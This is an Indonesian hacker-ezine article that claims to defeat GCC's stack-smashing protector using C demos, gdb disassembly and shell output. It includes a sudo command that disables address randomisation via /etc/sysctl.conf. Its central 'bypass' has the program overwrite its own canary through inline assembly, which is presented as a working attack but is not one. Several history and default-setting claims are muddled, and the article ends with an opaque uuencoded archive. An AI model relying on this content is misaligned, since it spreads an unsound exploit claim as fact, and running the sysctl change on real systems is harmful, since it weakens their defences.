_| _| _|_| _|_|_| _|_|_| _|_| _|_|_|_| _|_|_| _|_| _|_|_|_| _| _| _| _| _| _| _| _| _| _|_|_|_| _| _| _| _| _| _| _| _| _| _| _| _|_|_| _|_|_| _| _| _|_| _|_|_|_| _| _| _| _|_|_| ECHO MAGAZINE VOLUME VIII, ISSUE XXII, PHILE 0x008.TXT Gebuk Stack Protector - BrazilianSubZero stan.marshx/at/yahoo/dot/com ---[ INTRODUCTION Stack Protector atau Stack Smashing Protector merupakan sebuah modul yang telah diimplementasikan oleh compiler GCC sejak versi 4.1 dirilis. Tujuannya, sebagai layer sekuritas dalam mencegah eksekusi exploit yang menggunakan metode buffer overflow dan stack overflow dengan jalan mematikan paksa aplikasi atau program yang berusaha untuk memasukkan sesuatu ke area Stack sebelum terjadi Segmentation Fault. Paper ini akan mencoba mengulas bagaimana cara membypass Stack Protector, bagaimana metode pembypassannya dan sejauh mana efek yang akan diterima. ---[ APA ITU STACK PROTECTOR? Semuanya berawal ketika Noir a.k.a Sinan Eren menerbitkan publikasi risetnya di zine underground Phrack edisi 60 dengan judul "Smashing the Kernel Stack For Fun And Profit". Tidak lama dari situ, mulai bermunculan berbagai macam eksploit-eksploit yang menggunakan teknik Stack Overflow dalam proses rooting kedalam sistem. Dengan semakin banyaknya penetrasi sistem menggunakan teknik Stack Overflow ini, ditahun 1997 dikeluarkanlah modul yang mencegah terjadinya proses eksploitasi dengan menggunakan teknik Bufferoverflow dan Stackoverflow. Modul itu bernama StackGuard. Ia di rilis oleh Crispin Cowan sebagai modul tambahan bagi GCC dalam proses compiling aplikasi. Saat ini, StackGuard menjadi bagian wajib dari GCC semenjak rilis ke 4.1. Stack Protector dalam lingkungan sistem Linux lebih dikenal sebagai ProPolice. Prosesnya sama, ia menjadi bagian dari GCC dalam proses compiling untuk mencegah adanya kemungkinan proses penulisan stack yang dapat di eksploitasi. Secara default GCC yang banyak digunakan sekarang ini menerapkan opsi compiling dengan menambahkan fungsi "-fstack-protector-all" kedalamnya. Fungsi itu untuk memanggil modul StackGuard Propolice agar diterapkan secara default dalam setiap compiling aplikasi. Sebagai contoh untuk mengetahui perbedaan dari proses compiling menggunakan stack protector dapat dilakukan dengan cara seperti ini : cuk@monyet:~/Project/StackProtect$ cat first.c #include #include int lulz(char **argv) { int i; char ptr[15]; printf("\n"); printf("------------------------------------------------------------"); printf("\nYang ini Alamatnya = %p",ptr); strcpy(ptr,argv[1]); printf("\nIni Lho Canariesnya = "); for(i=18; i>14; i--) printf("%02x",(unsigned char)*(ptr+i)); printf("\n"); printf("------------------------------------------------------------"); printf("\n\n"); } int main(int argc,char **argv) { if(argc>1) lulz(argv); return 0; } Saya akan mencoba untuk mengkompilasi script diatas dengan mematikan fungsi default stack protector dengan menggunakan opsi "-fno-stack-protector" cuk@monyet:~/Project/StackProtect$ gcc -fno-stack-protector first.c -o first-noprotect cuk@monyet:~/Project/StackProtect$ ./first-noprotect `perl -e 'print "A"x30'` ------------------------------------------------------------ Yang ini Alamatnya = 0xbfdb5ded Ini Lho Canariesnya = 0000000f ------------------------------------------------------------ Segmentation fault cuk@monyet:~/Project/StackProtect$ Seperti yang terlihat dengan mendisable opsi stack protection maka input yang kita masukkan berusaha menulis Stack yang mengakibatkan terjadinya Segmentation Fault, yang merupakan kata suci bagi para EXPLOIT MAKER ehehehehe. Oke selanjutnya kita akan mencoba untuk melakukan compiling dengan menggunakan opsi stack protector diaktifkan. Karena GCC sudah mewajibkan dan menjadikan fungsi " -fstack-protector-all" sebagai opsi default maka kita hanya memerlukan kompilasi dengan normal seperti dibawah ini : cuk@monyet:~/Project/StackProtect$ gcc first.c -o first-secure cuk@monyet:~/Project/StackProtect$ ./first-secure `perl -e 'print "A"x30'` ------------------------------------------------------------ Yang ini Alamatnya = 0xbff2f5ad Ini Lho Canariesnya = 41414141 ------------------------------------------------------------ *** stack smashing detected ***: ./first-secure terminated ======= Backtrace: ========= /lib/tls/i686/cmov/libc.so.6(__fortify_fail+0x48)[0x1f0ed8] /lib/tls/i686/cmov/libc.so.6(__fortify_fail+0x0)[0x1f0e90] ./first-secure[0x80485b4] ./first-secure[0x80485d0] ======= Memory map: ======== 00110000-0024e000 r-xp 00000000 08:06 709 /lib/tls/i686/cmov/libc-2.10.1.so 0024e000-0024f000 ---p 0013e000 08:06 709 /lib/tls/i686/cmov/libc-2.10.1.so 0024f000-00251000 r--p 0013e000 08:06 709 /lib/tls/i686/cmov/libc-2.10.1.so 00251000-00252000 rw-p 00140000 08:06 709 /lib/tls/i686/cmov/libc-2.10.1.so 00252000-00255000 rw-p 00000000 00:00 0 00255000-00271000 r-xp 00000000 08:06 3528 /lib/libgcc_s.so.1 00271000-00272000 r--p 0001b000 08:06 3528 /lib/libgcc_s.so.1 00272000-00273000 rw-p 0001c000 08:06 3528 /lib/libgcc_s.so.1 007ce000-007cf000 r-xp 00000000 00:00 0 [vdso] 00fd2000-00fed000 r-xp 00000000 08:06 2592 /lib/ld-2.10.1.so 00fed000-00fee000 r--p 0001a000 08:06 2592 /lib/ld-2.10.1.so 00fee000-00fef000 rw-p 0001b000 08:06 2592 /lib/ld-2.10.1.so 08048000-08049000 r-xp 00000000 08:08 918192 /home/chainloader/Project/StackProtect/first-secure 08049000-0804a000 r--p 00000000 08:08 918192 /home/chainloader/Project/StackProtect/first-secure 0804a000-0804b000 rw-p 00001000 08:08 918192 /home/chainloader/Project/StackProtect/first-secure 09635000-09656000 rw-p 00000000 00:00 0 [heap] b77d9000-b77da000 rw-p 00000000 00:00 0 b77ed000-b77f0000 rw-p 00000000 00:00 0 bff1c000-bff31000 rw-p 00000000 00:00 0 [stack] Aborted cuk@monyet:~/Project/StackProtect$ Nah seperti yang terlihat dengan memasukkan input yang dapat menerobos stack segment maka dengan brutal dan berlebihan (halah...) aplikasi tersebut ditutup dengan paksa. Bisa dilihat di bagian atas terdapat output "*** stack smashing detected ***: ./first-secure terminated" dan di baris output paling akhir "Aborted". Cara kedua untuk melihat apakah opsi stack protector dipasang atau tidak nya pada saat compiling adalah dengan cara pembacaan ELF aplikasi. Langsung saja : ***Check ELF stack option in first-noprotect*** cuk@monyet:~/Project/StackProtect$ ls -al | grep first*. -rwxr-xr-x 1 chainloader chainloader 8482 2010-04-18 16:04 first -rw-r--r-- 1 chainloader chainloader 498 2010-04-18 16:04 first.c -rwxr-xr-x 1 chainloader chainloader 8430 2010-04-18 19:07 first-noprotect -rwxr-xr-x 1 chainloader chainloader 8482 2010-04-18 19:08 first-secure cuk@monyet:~/Project/StackProtect$ readelf -s ./first-noprotect | grep stack cuk@monyet:~/Project/StackProtect$ ****** End ****** Pada aplikasi first-noprotect yang tidak menggunakan stack protector pada saat compiling tidak ditemukan baris stack protection di dalamnya. Selanjutnya pada file first-secure yang menggunakan proteksi stack di dalam proses compilingnya. ***Check ELF stack option in first-secure*** cuk@monyet:~/Project/StackProtect$ cuk@monyet:~/Project/StackProtect$ ls -al | grep first*. -rwxr-xr-x 1 chainloader chainloader 8482 2010-04-18 16:04 first -rw-r--r-- 1 chainloader chainloader 498 2010-04-18 16:04 first.c -rwxr-xr-x 1 chainloader chainloader 8430 2010-04-18 19:07 first-noprotect -rwxr-xr-x 1 chainloader chainloader 8482 2010-04-18 19:08 first-secure cuk@monyet:~/Project/StackProtect$ readelf -s ./first-secure | grep stack 6: 00000000 0 FUNC GLOBAL DEFAULT UND __stack_chk_fail@GLIBC_2.4 (3) 70: 00000000 0 FUNC GLOBAL DEFAULT UND __stack_chk_fail@@GLIBC_2 cuk@monyet:~/Project/StackProtect$ ******* End ****** Oke, pada aplikasi first-secure yang menggunakan opsi stack protector di temukan adanya layer checking stack di dalamnya. Ini merupakan cara pengecekan paling mudah dan cepat dalam melihat apakah opsi stack ada di dalam proses compiling sebuah aplikasi. Lalu? apa hubungannya Stack Protector dengan proses Eksploitasi? Tentu saja ada. Bagi para exploit maker, layer stack protector ini jelas sangat menjengkelkan. POC yang bertebaran banyak yang hanya dapat dijalankan jika layer security di linux box kita non aktif. Apalagi, untuk remote stack overflow sebagian besar menyerang service-service daemon yang di compile dengan menggunakan opsi stack protection secara default. Sehingga banyak eksploit maker memutuskan diri alih profesi menjadi debt colector (waahahahahaha) karena mengalami jalan buntu dalam proses eksploitasi sebuah service. Untungnya para exploit maker tersebut tidak melacurkan diri menjadi maniak eskiel injeksyen (LOL!) sehingga jiwanya masih oke dan tidak mengalami penyusutan volume otak. Ohya, Paper ini tidak akan membicarakan mengenai bagaimana teknik stack overflow itu dengan detail. Karena memang bahasannya spesifik mengenai mengakali stack protection. ---[ START YOUR ENGINE -----[ 3.1 Korek-korek Layernya... Trik dalam mengelabui stack protector tidak sesulit yang dibayangkan. Hanya membutuhkan imajinasi dan sedikit pemahaman dalam penguasaan ASM dan C. Untuk mengelabui stack protector, sebelumnya perlu untuk memahami beberapa istilah dan cara kerja dari stack protector a.k.a ProPolice : ISTILAHNYE... Canaries menurut Tante Wikipedia adalah value yang berada diantara buffer dan control data. Dalam kerangka ASM, posisi canaries ini terletak diantara variabel lokal dan EBP. Ketika sebuah aplikasi di masukkan input data yang bertujuan untuk mengkorupkan area stack, maka data pertama yang menjadi corupt adalah canaries ini. Sehingga, didalam proteksi Stack,canaries dijadikan sebagai pemberi peringatan pertama jika terjadi proses pengkorupan atau pengerusakan stack area. Lebih jauh, canaries juga dijadikan layer untuk pemberi peringatan jika buffer menjadi overflow. Salah satu fungsi penting di dalam proses pemberian peringatan yang dilakukan canaries adalah, apabila canaries mendadak corrupt maka aplikasi akan di matikan pada saat itu juga, sebelum terjadi segmentation fault. ---------------------- | | | EIP | ---------------------- | | | EBP | ---------------------- | | | Canaries | <-- Letak Canariesnya yang perlu di rusak ohohohoho ---------------------- | | | Variabel Lokal | ---------------------- Beberapa jenis canaries di dalam stack protector ini antara lain adalah Random, Terminator, dan XOR canaries. Ada beberapa teknik yang digunakan untuk membypass stack protection oleh beberapa pembuat exploit. Yang paling gampang adalah mematikan security layer di box linux anda dengan manual (sudo bash -c 'echo "kernel.randomize_va_space = 0" >> /etc/sysctl.conf') namun tentu saja itu hanya sekedar melatih kemampuan dalam hal berolah teknis stack overfow. Dan cara yang kedua adalah dengan menggunakan teknik yang disebut dengan return-to-libc. Ini dipopulerkan oleh c0ntex dalam papernya "Bypassing non-executable-stack during exploitation using return-to-libc". Teknik ini menekankan pada proses eksploitasi Stack Protection dalam area Terminator Canaries. Kelemahan Terminator Canaries adalah ketika ia mengembalikan value yang bermasalah untuk kemudian di matikan, maka ia akan kembali ke keadaan semula dengan value yang mudah diprediksikan oleh libc. Dan ini yang kemudian dijadikan oleh c0rtex sebagai acuan di dalam mengelabui Stack Protection. Untungnya (atau sayangnya...ehehehe) bug ini telah di patch. Lalu cara ketiga adalah dengan mengeksploitasi XOR Canaries atau sering disebut dengan Random XOR Canaries yang dipublikasikan oleh Bulba and Kil3r pada terbitan phrack edisi 56 yang berjudul "Bypassing Stackguard and Stackshield". Eksploitasi ini menekankan pada pemanfaatan Pointer yang digunakan sebagai trigger dalam mengkorupkan stack. Pada saat itu proteksi terhadap stack belum menyentuh bagian pointer (atau longjmp). Dan kembali lagi, untungnya (atau sayangnya... wakakakak) developer stackprotector sudah menambah modul untuk mengatasi trik mengelabui stack protector ala Bulba and Kil3r ini. Untuk tulisan ini, saya hanya akan memfokuskan hanya pada Random Canaries. Alasannya, pertama adalah dua canaries sebelumnya telah di mentahkan oleh orang-orang sebelumnya. Dan alasan kedua adalah, bagi Crispin Cowan si empunya Stack Protector ini, Random Canaries merupakan metode yang paling memungkinkan dan memang belum berhasil dilewati oleh atau di usili oleh para maniak stack overflow, bahkan cenderung untuk menghindari jebakan Random canaries ini. Random Canaries merupakan value yang di generate secara acak, untuk menyulitkan exploiter yang ingin mengetahui value di dalamnya. Dengan metode acak ini, setiap kali sebuah program dieksekusi maka ia akan menampilkan nilai yang berbeda-beda. Biasanya, metode acak yang digunakan dalam random canaries ini dipakai oleh aplikasi service atau daemon. Dan untuk membedakan teknik saya ini dengan yang lainnya, maka saya putuskan untuk menggusur Random Canaries ini heh heh heh. Errr sebenarnya ini juga ketemu nggak sengaja, kepingin gabungin Stack Overflow sama Null Pointer malah keasikan di stack protector ini. Ah yo wes lanjut kang...tariiik.... ----[ 3.2 Finding the Canaries...en Digebuk Ehehehe Oke, tanpa banyak basa-basi, mari kita mulai pencarian dimana letak canaries tersebut, dimana letak register dan controlernya. Saya akan menggunakan script diatas sebelumnya sebagai contoh. cuk@monyet:~/Project/StackProtect$ cat first.c #include #include int lulz(char **argv) { int i; char ptr[15]; printf("\n"); printf("------------------------------------------------------------"); printf("\nYang ini Alamatnya = %p",ptr); strcpy(ptr,argv[1]); printf("\nIni Lho Canariesnya = "); for(i=18; i>14; i--) printf("%02x",(unsigned char)*(ptr+i)); printf("\n"); printf("------------------------------------------------------------"); printf("\n\n"); } int main(int argc,char **argv) { if(argc>1) lulz(argv); return 0; } cuk@monyet:~/Project/StackProtect$ gcc first.c -o first-secure //Compile dengan default stack protector terpasang cuk@monyet:~/Project/StackProtect$ gdb first-secure GNU gdb (GDB) 7.0-ubuntu Copyright (C) 2009 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type "show copying" and "show warranty" for details. This GDB was configured as "i486-linux-gnu". For bug reporting instructions, please see: ... Reading symbols from /home/chainloader/Project/StackProtect/first-secure...done. (gdb) disasseble lulz Dump of assembler code for function lulz: 0x080484e4 : push %ebp 0x080484e5 : mov %esp,%ebp 0x080484e7 : sub $0x48,%esp 0x080484ea : mov 0x8(%ebp),%eax 0x080484ed : mov %eax,-0x2c(%ebp) 0x080484f0 : mov %gs:0x14,%eax 0x080484f6 : mov %eax,-0xc(%ebp) 0x080484f9 : xor %eax,%eax 0x080484fb : movl $0xa,(%esp) 0x08048502 : call 0x80483c4 0x08048507 : mov $0x80486a0,%eax 0x0804850c : mov %eax,(%esp) 0x0804850f : call 0x80483f4 0x08048514 : mov $0x80486dd,%eax 0x08048519 : lea -0x1b(%ebp),%edx 0x0804851c : mov %edx,0x4(%esp) 0x08048520 : mov %eax,(%esp) 0x08048523 : call 0x80483f4 0x08048528 : mov -0x2c(%ebp),%eax 0x0804852b : add $0x4,%eax 0x0804852e : mov (%eax),%eax 0x08048530 : mov %eax,0x4(%esp) ---Type to continue, or q to quit--- 0x08048534 : lea -0x1b(%ebp),%eax 0x08048537 : mov %eax,(%esp) 0x0804853a : call 0x80483e4 0x0804853f : mov $0x80486f6,%eax 0x08048544 : mov %eax,(%esp) 0x08048547 : call 0x80483f4 0x0804854c : movl $0x12,-0x20(%ebp) 0x08048553 : jmp 0x8048578 0x08048555 : mov -0x20(%ebp),%edx 0x08048558 : lea -0x1b(%ebp),%eax 0x0804855b : add %edx,%eax 0x0804855d : movzbl (%eax),%eax 0x08048560 : movzbl %al,%edx 0x08048563 : mov $0x804870e,%eax 0x08048568 : mov %edx,0x4(%esp) 0x0804856c : mov %eax,(%esp) 0x0804856f : call 0x80483f4 0x08048574 : subl $0x1,-0x20(%ebp) 0x08048578 : cmpl $0xe,-0x20(%ebp) 0x0804857c : jg 0x8048555 0x0804857e : movl $0xa,(%esp) 0x08048585 : call 0x80483c4 0x0804858a : mov $0x80486a0,%eax ---Type to continue, or q to quit--- 0x0804858f : mov %eax,(%esp) 0x08048592 : call 0x80483f4 0x08048597 : movl $0x8048713,(%esp) 0x0804859e : call 0x8048414 0x080485a3 : mov -0xc(%ebp),%edx 0x080485a6 : xor %gs:0x14,%edx 0x080485ad : je 0x80485b4 0x080485af : call 0x8048404 <__stack_chk_fail@plt> 0x080485b4 : leave 0x080485b5 : ret End of assembler dump. (gdb) Nah lihat di 5 baris terakhir. ---------------------------snip------------------------------------ 0x080485a6 : xor %gs:0x14,%edx 0x080485ad : je 0x80485b4 0x080485af : call 0x8048404 <__stack_chk_fail@plt> 0x080485b4 : leave 0x080485b5 : ret ---------------------------snap------------------------------------ Maksud dari potongan dump diatas ini diartikan seperti ini : 1. Membandingkan value yang ada di dalam canary dengan register %gs di offset 0x14 2. Jika tidak sama nilainya maka akan memanggil fungsi __stack_chk_fail yang kemudian menghentikan secara paksa eksekusi aplikasi tersebut. 3. Kill the application. Letak Controller registernya di atur oleh kernel, dan tampaknya perlu kita intip sedikit seperti apa set registernya tersebut. chainloader@monyet:~/Project/StackProtect$ grep '%%gs' /usr/src/linux-headers-2.6.31-20/arch/x86/include/asm/stackprotector.h asm("mov %0, %%gs" : : "r" (__KERNEL_STACK_CANARY) : "memory"); asm volatile ("mov %0, %%gs" : : "r" (0)); chainloader@monyet:~/Project/StackProtect$ Oke, controler set registernya adalah asm volatile ("mov %0, %%gs" : : "r" (0)); maka untuk mengetahui apakah bisa menimpa register GS tersebut dengan canaries versi kita sendiri atau shellcode mungkin, adalah dengan menambahkan beberapa baris kode tambahan asm volatile diatas ke list kode first.c seperti dibawah ini : chainloader@monyet:~/Project/StackProtect$ cat second.c //ini versi kedua dari first.c setelah di tambah asm volatile. #include #include typedef unsigned long in_yeah; #define in_digees "%0lx" #define steal(in_in) asm volatile("mov %%gs:(0x14), %0" : "=r" (in_in)); int lulz(char **argv) { int i; char ptr[15]; printf("\n"); printf("------------------------------------------------------------"); printf("\nYang ini Alamatnya = %p",ptr); strcpy(ptr,argv[1]); printf("\nIni Lho Canariesnya = "); for(i=18; i>14; i--) printf("%02x",(unsigned char)*(ptr+i)); printf("\n"); printf("------------------------------------------------------------"); printf("\n\n"); } int main(int argc,char **argv) { in_yeah in_in; steal(in_in); printf("\n"); printf("------------------------------------------------------------"); printf("\nNilai di Register GS : " in_digees, in_in); if(argc>1) lulz(argv); return 0; } chainloader@monyet:~/Project/StackProtect$ Dapat dilihat di bagian #define steal(in_in) asm volatile("mov %%gs:(0x14),%0" : "=r" (in_in)); itu kita modifikasi sedikit, untuk menguji apakah sama nilai register GS dengan canaries yang akan kita kulik-kulik sedikit itu. chainloader@monyet:~/Project/StackProtect$ gcc second.c -o second-secure //di compile dengan stack protector chainloader@monyet:~/Project/StackProtect$ ./second-secure `perl -e 'print "A"x10'` ------------------------------------------------------------ Nilai di Register GS : 56c4cd00 ------------------------------------------------------------ Yang ini Alamatnya = 0xbf9d3f6d Ini Lho Canariesnya = 56c4cd00 ------------------------------------------------------------ chainloader@monyet:~/Project/StackProtect$ Oke bisa dilihat sama khan. Berarti memang benar kalau proses pengecekan atau validasi seperti itu yang terjadi. Lalu? bagaimana caranya untuk menuliskan sendiri atau mengkorupkan register GS tanpa ditahan oleh stack protector? Sederhana saja, dari script diatas, kita hanya perlu memasukkan 4 karakter awal dari kumpulan input yang akan mengkorupkan stack (atau shellcode ehehehe) di dalam register GS. Maka logikanya, pada proses validitas akan terlihat valid, namun canariesnya akan terkorup dan inputan yang dimasukkan akan menimpa stack. Jadi, dia tetap valid tetapi menulis Stack. Contoh langsungnya... chainloader@monyet:~/Project/StackProtect$ cat third.c #include #include #define ciat() asm volatile("mov %0, %%gs:(0x14)" :: "r" (0x41414141)); //masukkan disini karakter validasinya, saya akan menginputkan karakter A int lulz(char **argv) { int i; char ptr[15]; printf("\n"); printf("------------------------------------------------------------"); printf("\nYang ini Alamatnya = %p",ptr); strcpy(ptr,argv[1]); printf("\nIni Lho Canariesnya = "); for(i=18; i>14; i--) printf("%02x",(unsigned char)*(ptr+i)); printf("\n"); printf("------------------------------------------------------------"); printf("\n\n"); } int main(int argc,char **argv) { if(argc>1) { ciat(); lulz(argv); } return 0; } chainloader@monyet:~/Project/StackProtect$ gcc third.c -o third-secure //compile dengan opsi stack protector chainloader@monyet:~/Project/StackProtect$ ./third-secure `perl -e 'print "A"x27'` ------------------------------------------------------------ Yang ini Alamatnya = 0xbfaf4bcd Ini Lho Canariesnya = 41414141 ------------------------------------------------------------ Segmentation fault chainloader@monyet:~/Project/StackProtect$ Bisa dilihat bahwa stack berhasil di buat menjadi korup dengan tetap tervalidasi. Hanya dengan mengeset ulang register GS yang di handle oleh kernel. Berarti... sukses deh ngegebuk Stack protectornya ihiy cihuy yay yay teroret jreng jreng. ---[ KESIMPULAN Stack Protector sebagai sebuah layer sekuritas di dalam mengamankan sistem dari eksploitasi stack overflow sampai saat ini masih menjadi salah satu dari sekian banyak aplikasi yang menjadi ujung tombak dari "kebersihan" sebuah sistem. Dengan adanya teknik untuk mengelabui Stack Protector, bisa jadi akan membuka kembali euforia stack overflow party yang sempat mewabah di akhir tahun 2000. Dan untuk stack protector di keluarga *NIX lainnya seperti FreeBSD, OpenBSD, NetBSD dan Solaris tampaknya memiliki kelemahan yang sama, yaitu validasi register GS yang mudah dikelabui. Saya sendiri masih mengembangkan teknik mengelabui Stack protector di lingkungan keluarga BSD. Dan kemungkinan untuk bisa di eksploitasi cukup besar hohoho. ---[ REFERENSI [xx] Angelo Rosiello, "Stack Overflow's Analysis & Exploiting Ways" http://www.securitydocs.com/library/2624 [xx] Bulba and Kil3r, "Bypassing Stackguard and Stackshield" http://www.phrack.com/archives/56/p56_0x05_Bypassing%20StackGuard%20and%20StackShield_by_Kil3r%20&%20Bulba.txt [xx] C0rtex, "Bypassing non-executable-stack during exploitation using return-to-libc" www.infosecwriters.com/text_resources/pdf/return-to-libc.pdf [xx] Crispin Cowan, "Protecting Systems from Stack Smashing Attacks with StackGuard" http://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.135.2164&rep=rep1&type=pdf [xx] Crispin Cowan, "StackGuard: Automatic Adaptive Detection and Prevention of Buffer-Overflow Attacks" http://www.usenix.org/publications/library/proceedings/sec98/full_papers/cowan/cowan_html/cowan.html [xx] Cyb3rh3b, "Stack-based Buffer Overflow :Exploitasi Lokal Stack Based Buffer Overflow di Mesin Linux" http://kecoak-elektronik.net/web/fezine/localstackov.txt [xx] James C.Foster, "Bufferoverflow Attacks : Detect, Exploit, Prevent", Syngress Publishing, MA, 2005 [xx] Sinan "noir" Eren, "Smashing The Kernel Stack For Fun And Profit" http://www.phrack.com/archives/60/p60_0x06_Smashing%20The%20Kernel%20Stack%20For%20Fun%20And%20Profit_by_noir.txt [xx] Wikipedia, "Bufferoverflow Protection" http://en.wikipedia.org/wiki/Buffer_overflow_protection#StackGuard [xx] Paul Rascagneres - "Stack Smashing Protector in FreeBSD" http://hackitoergosum.org/ --[ CURCOL Wakakakakak curcol XD blah wtf am i reading here (-_-') kill the authors..!!! --[ SKRAPT begin 644 stackprotectordigebuk.tar.gz M'XL(`)U!RTL``^V6_VO:0!3`_=7\%8\4(7&QY#2UHTYA[( MQ+M7AZ!H0XA>O]OO)K'H->C=IS#$!YW5(_/*2@/02"<2=5'*3)EG[]L7/U'. M4*?%/%/PKK(9EN>3D;=;95#GKLY#;:&8%S\">@X&VFUI\D7H_?2:+H`#KUG7 MSZRY%A>W5)Q12SL._!OMASO%SE_PI*,;_5WJ'%`CO"_D5%J]DC"$ULR/:!+N M3II\.EL%5(K<9*_%[=/VGZCIYTD)'Z26!E6U[J`>9%R:`(?B[0!P)!+Z['3" M;=-6W%WZ43#7%>9:9>!6'K;=0&\P#(^R]G7/]^MMF5)B!NX++3.-_MB?<>#J M1X)6T*QWL`Y1=T;9N=$04T>OG87,:U&IM-3980^`??Y/^CO^[SO_U\<`^_\( MO-3_=C53F1K#QGI%6>OW;J7D9."=40RUH0 M9#6%15E(BX4*_&FY@%8KKZZ">"F2,()6[,,5^$/CPV,+TA6?0"=[`JV3!.JM MK!_+-A6.,MV@F:`^M_K_]%[W+C M?Q$G]?__1+#_C\%+_?_+XRE*&SQK\#C:M3@9G'YASN#Q,A'K%VO\I#6^(T8J G-M>9,/C=DO?_J"@9AF$8AF$8AF$8AF$8AF$8YH1X`&MU^=T`*``` ` end